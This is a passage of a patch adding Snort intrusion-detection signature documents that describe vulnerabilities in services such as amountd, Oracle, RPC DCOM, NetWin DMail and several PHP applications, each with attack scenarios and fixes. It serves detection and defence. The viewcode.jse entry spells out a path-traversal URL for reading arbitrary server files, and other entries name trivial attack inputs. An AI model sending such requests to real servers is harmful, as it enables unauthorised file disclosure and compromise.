+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as amountd run.  The amountd RPC service is used by UNIX hosts to automatically mount and unmount autofs files.  It can use name service maps to find file systems to mount.  A vulnerability is present in autofsd that allows an attacker to execute arbitrary commands.  The attacker requests a map name that is executable followed by a malformed client key and commands execute.  The server improperly interprets the input and executes the commands.
+
+--
+Affected Systems:
+IBM AIX 4.3, SGI IRIX 6.2, 6.3, 6.4, 6.5, and 6.5.1.
+
+--
+Attack Scenarios:
+An attacker can craft an amountd request that executes arbitrary commands on the remote file system. 
+
+--
+Ease of Attack:
+Easy.  Exploit code is widely available.
+
+--
+False Positives:
+If a legitimate remote user is allowed to access amountd, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for amountd, not probes of the amountd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the amountd service itself. An attacker may attempt to go directly to the amountd port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Original rule modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/332/info/
+
+Arachnids:
+http://www.whitehats.com/info/IDS19
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2575.txt
+++ snort-2.8.5.2/doc/signatures/2575.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2575
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2404.txt
+++ snort-2.8.5.2/doc/signatures/2404.txt
@@ -0,0 +1,92 @@
+Rule:
+
+--
+Sid:
+2404
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in ISS RealSecure and BlackICE products.
+
+--
+Impact:
+Serious. Execution of arbitrary code, DoS.
+
+--
+Detailed Information:
+A buffer overflow condition in the ISS Analysis Module can be triggered
+by an attacker sending a single SMB packet containing an AccountName
+greater than 300 bytes. It is possible for an attacker to exploit this
+condition by sending a specially crafted packet to a host serving network shares.
+
+When the systems running one of the affected ISS products decodes the
+SMB data, exploit code may be included and executed on the machine with 
+system level privileges. Alternatively, the malformed data may cause the service to become 
+unresponsive and cause a DoS condition.
+
+Sensors under attack will display "PAM_internal_error" as a message on
+the console.
+
+Sucessful exploitation of this issue could present an attacker with the 
+opportunity to execute code of their choosing on the target host with system
+privileges. It is also possible for a Denial of Service (DoS) condition to 
+be caused by an attacker attempting to exploit this condition.
+
+--
+Affected Systems:
+	RealSecure Network 7.0, XPU 20.15 through 22.9
+	Real Secure Server Sensor 7.0 XPU 20.16 through 22.9
+	Proventia A Series XPU 20.15 through 22.9
+	Proventia G Series XPU 22.3 through 22.9
+	Proventia M Series XPU 1.3 through 1.7
+	RealSecure Desktop 7.0 eba through ebh
+	RealSecure Desktop 3.6 ebr through ecb
+	RealSecure Guard 3.6 ebr through ecb
+	RealSecure Sentry 3.6 ebr through ecb
+	BlackICE PC Protection 3.6 cbr through ccb
+	BlackICE Server Protection 3.6 cbr through ccb
+
+--
+Attack Scenarios:
+An attacker may use this vulnerability to disable ISS sensors on a
+network or potentially use it to gain control of a machine running one
+of the affected products.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+Data transfer between a Windows 2003 file server and other Windows based
+machines may cause this rule to generate events in some circumstances.
+Ensure that the HOME_NET and EXTERNAL_NET variables are correctly set in
+the snort.conf file to negate the effects of file transfers on local
+subnets.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+eEye
+http://www.eeye.com/html/Research/Advisories/AD20040226.html
+
+Bugtraq
+http://www.securityfocus.com/bid/9752
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1839.txt
+++ snort-2.8.5.2/doc/signatures/1839.txt
@@ -0,0 +1,81 @@
+Rule:
+
+--
+Sid:
+1839
+
+--
+Summary:
+This event is generated when a cross-site scripting attack is being 
+attempted, or a potential attacker is testing your site to determine if 
+it is vulnerable.
+
+--
+Impact:
+Successful cross-site scripting attacks generally target the users of 
+your web site. Attackers can potentially gain access to your users' 
+cookies or session ids, allowing the attacker to impersonate your
+user. They could also set up elaborate fake logon screens to steal 
+user names and passwords.
+
+--
+Detailed Information:
+Whenever a web application accepts input (either via the URL or the 
+POST method) and then uses that input as part of the HTML of a new page 
+without filtering, the application is vulnerable to cross-site 
+scripting.  The traditional means of exploiting this is to embed a 
+"<SCRIPT>" tag into the input. The code following the tag is then 
+executed by the victim's browser.
+
+--
+Affected Systems:
+Many older versions of web server software are affected, as are numerous
+web applications.
+
+--
+Attack Scenarios:
+The most common avenue of attack is for the attacker to send an HTML 
+formatted email to the victim. The email will contain a link to a 
+specially crafted URL which contains the exploit. When the victim clicks
+on the link, they are directed to the vulnerable web site and the attack
+code is executed by their browser.
+
+--
+Ease of Attack:
+Moderately Easy.  Exploit code exists to automate attacks against users 
+of some widely deployed web applications which are known to be 
+vulnerable. 
+
+Finding vulnerabilities in other, including proprietary, web
+applications is fairly trivial and existing exploit code could easily be
+modified to take advantage of newly discovered vulnerabilities.
+
+--
+False Positives:
+Web pages that legimately include the <SCRIPT> tag could generate this 
+event under certain circumstances.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Determine if your web application is actually vulnerable to this 
+attack. If it is and the application is not of your own design, contact 
+the authors or vendor and see if there is a patch or newer version.
+
+If the application is proprietary to you or your company, ensure that it 
+properly validates input.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Kevin Peuhkurinen
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1389.txt
+++ snort-2.8.5.2/doc/signatures/1389.txt
@@ -0,0 +1,65 @@
+Rule:  
+
+--
+Sid:
+1389
+
+--
+Summary:
+This event is generated when an attempt is made to access the
+script viewcode.jse.
+
+--
+Impact:
+Information disclosure. An attacker may have been able to read the
+contents of any file on the web server.
+
+--
+Detailed Information:
+Nombas ScriptEase WebServer Edition is a Javascript environment for web
+servers.  As shipped, it comes with a sample script called "viewcode.jse"
+that contains a vulnerability.  This vulnerability allows an attacker
+to view any file on the web server.  The web server that ships with
+Novell Netware 5.1 before SP3 contains this vulnerability.
+
+--
+Affected Systems:
+	Netware 5.1 and Nombas ScriptEase WebServer Edition
+ 
+--
+Attack Scenarios:
+Attacker sends a simple URL like the following:
+http://target/lcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/viewcode.jse+httplist+httplist/../../../../../system/somefile
+
+--
+Ease of Attack:
+Simple handcrafted URL.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Examine the packet to see if a malicious web request was being done.
+Try to determine what the requested file was, and determine
+from the web server's configuration whether it was a threat or not
+(e.g., whether the requested file even existed and whether the web
+server contained the viewcode.jse sample script).  The existence of
+sample scripts on a web server may indicate larger vulnerabilities.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/948.txt
+++ snort-2.8.5.2/doc/signatures/948.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+948
+
+--
+
+Summary:
+This event is generated when an attempt is made to access a file with 
+Microsoft Frontpage form results.
+
+--
+
+Impact:
+If successful, the attacker can read sensitive data users have posted 
+via forms within the Frontpage web.
+
+--
+
+Detailed Information:
+On systems running Microsoft Frontpage Extensions on IIS or Apache web 
+servers users can insert forms into web pages and have their data saved 
+into a text file (/_private/form_results.txt) which can later be read or
+emailed to the user. If direct access to the file is possible, the 
+attacker may read the sensitive data posted from the form.
+
+--
+
+Affected Systems:
+All systems running FPSE.
+
+--
+
+Attack Scenarios:
+An attacker can request the file from its standard location, entering 
+the exact URL.
+
+--
+
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Disable direct access to the file /_private/form_results.txt
+
+Restrict access to the file using password protection.
+
+--
+
+Contributors:
+Original Rule Writer Unknown
+Snort documentation contributed by Chaos <c@aufbix.org>
+
+-- 
+
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2559.txt
+++ snort-2.8.5.2/doc/signatures/2559.txt
@@ -0,0 +1,71 @@
+Rule: 
+
+--
+Sid: 
+2559
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Oracle Application Server Web Cache.
+
+-- 
+
+Impact: 
+Serious. Possible execution of arbitrary code leading to remote
+administrative access.
+
+--
+Detailed Information:
+The Oracle Application Server Web Cache is vulnerable to a buffer
+overrun caused by poor checking of the length of an HTTP Header. If a
+large invalid HTTP Request Method is supplied to a vulnerable system, an
+attacker may be presented with the opportunity to overrun a fixed length
+buffer and subsequently execute code of their choosing on the server.
+
+--
+Affected Systems:
+Oracle Application Server Web Cache 10g 9.0.4 .0
+Oracle Oracle9i Application Server Web Cache 2.0 .0.4
+Oracle Oracle9i Application Server Web Cache 9.0.2 .3
+Oracle Oracle9i Application Server Web Cache 9.0.2 .2
+Oracle Oracle9i Application Server Web Cache 9.0.3 .1
+
+--
+
+Attack Scenarios: 
+An attacker might supply an HTTP Request Method of more than 432 bytes,
+causing the overflow to occur.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives:
+None Known
+
+--
+False Negatives:
+This rule examines Oracle Web Cache server on port 7777 or 7778.  It is possible
+to configure the Oracle Web Cache server to run on different ports.  The rule
+should be configured to reflect the appropriate ports of Oracle Web Cache
+servers on your network.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2079.txt
+++ snort-2.8.5.2/doc/signatures/2079.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+2079
+
+--
+Summary:
+number for the rpc service lockd.
+
+--
+Impact:
+Intelligence gathering
+
+--
+Detailed Information:
+This may be an attacker probing for vulnerable versions of rpc services.
+In this case, the rpc service lockd.
+
+If a user connects to port 1024 being used by the rpc service lockd, a 
+denial of service can be issued by supplying random input to the 
+service. This is an attempt to ascertain whether or not that attack 
+could be successful.
+
+--
+Affected Systems:
+	Debian Linux 2.1, 2.2 pre potato and 2.2
+	MandrakeSoft Linux Mandrake 6.0, 6.1 and 7.0
+	RedHat Linux 6.0 sparc, i386 and alpha
+	RedHat Linux 6.1 sparc, i386 and alpha
+	RedHat Linux 6.2 sparc, i386 and alpha
+
+--
+Attack Scenarios:
+The attacker needs to send random data to port 1024 used by nlockmgr.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate patches for the system.
+
+Upgrade the software to the latest non vulnerable version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/1372
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0508
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3259.txt
+++ snort-2.8.5.2/doc/signatures/3259.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3259
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2838.txt
+++ snort-2.8.5.2/doc/signatures/2838.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2838
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure resume_master_activity
+. This procedure is included in
+sys.dbms_repcat_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2862.txt
+++ snort-2.8.5.2/doc/signatures/2862.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2862
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_priority_number
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000324.txt
+++ snort-2.8.5.2/doc/signatures/100000324.txt
@@ -0,0 +1,78 @@
+
+
+Rule:
+
+--
+Sid:
+100000324
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "ScozNet ScozNews" application running on a 
+webserver. Access to the file "template.php" using a remote file being passed 
+as the "main_path" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "main_path" parameter in the "template.php" script used 
+by the "ScozNet ScozNews" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using ScozNet ScozNews
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1550.txt
+++ snort-2.8.5.2/doc/signatures/1550.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+1550
+
+--
+Summary:
+This event is generated when an external attacker attempts to exploit a
+buffer overflow vulnerability in the ETRN command in NetWin DMail.
+
+--
+Impact:
+Severe. Remote execution of arbitrary code, leading to remote root compromise. 
+
+--
+Detailed Information:
+Some versions of NetWin DMail SMTP server contain a buffer overflow
+vulnerability in the ETRN command. An attacker can use an overly long
+string in an ETRN argument to cause a buffer overflow condition. This
+allows the attacker to crash the mail server or execute arbitrary code
+with root access. 
+
+--
+Affected Systems:
+	NetWin DMail 2.8a-h and prior
+	NetWin DMail 2.7q and prior
+
+--
+Attack Scenarios:
+An attacker sends an ETRN command with an overly long argument to a
+NetWin DMail SMTP server. The attacker can then crash the mail server or
+execute arbitrary code with root access. 
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3334.txt
+++ snort-2.8.5.2/doc/signatures/3334.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3334
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2164.txt
+++ snort-2.8.5.2/doc/signatures/2164.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+2164
+
+
+--
+Summary:
+This event is generated when a possible outgoing virus is detected. 
+
+--
+Impact:
+Informational event. An virus on an infected host may be attempting to 
+propogate.
+
+--
+Detailed Information:
+This event indicates that an outgoing email message possibly containing 
+a virus has been detected.
+
+This rule generates an event when a filename extension commonly used by 
+viruses is detected.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+This is indicative of a virus infection.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A legitimate attachment to an email may generate this event.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of virus infection.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000731.txt
+++ snort-2.8.5.2/doc/signatures/100000731.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000731
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Geeklog" application running on a webserver. Access to the file "DeleteComment.Action.class.php" using a remote file being passed as the "$_CONF[path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "$_CONF[path]" parameter in the "DeleteComment.Action.class.php" script used by the "Geeklog" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Geeklog
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000364.txt
+++ snort-2.8.5.2/doc/signatures/100000364.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000364
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Fastpublish CMS" application running on a webserver. Access to the file "admin.php" using a remote file being passed as the "config[fsBase]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "config[fsBase]" parameter in the "admin.php" script used by the "Fastpublish CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Fastpublish CMS
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000154.txt
+++ snort-2.8.5.2/doc/signatures/100000154.txt
@@ -0,0 +1,63 @@
+Rule: 
+
+--
+Sid: 
+100000154
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a
+buffer overflow associated with MDaemon IMAP authentication
+processing.
+
+--
+Impact:
+A successful attack can permit a buffer overflow and the
+subsequent execution of arbitrary code on a vulnerable
+server.
+
+--
+Detailed Information:
+The MDaemon IMAP server allows basic authentication to be
+exchanged between the client and server.  A vulnerability
+exists allowing an unauthenticated user to cause a buffer
+overflow by crafting an overly long authentication reply
+to a server challenge.  This can allow execution of arbitrary
+code on a vulnerable server.
+
+--
+Affected Systems:
+Alt-N MDaemon prior to 8.0.4
+
+--
+Attack Scenarios:
+An attacker can request IMAP authentication and reply to
+a server challenge with an overly long response, causing
+a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the most current non-affected version of the product.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+Other:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2692.txt
+++ snort-2.8.5.2/doc/signatures/2692.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2692
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure verify_queue_types
+. This procedure is included in
+sys.dbms_aqadm_sys.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1575.txt
+++ snort-2.8.5.2/doc/signatures/1575.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1575
+
+--
+Summary:
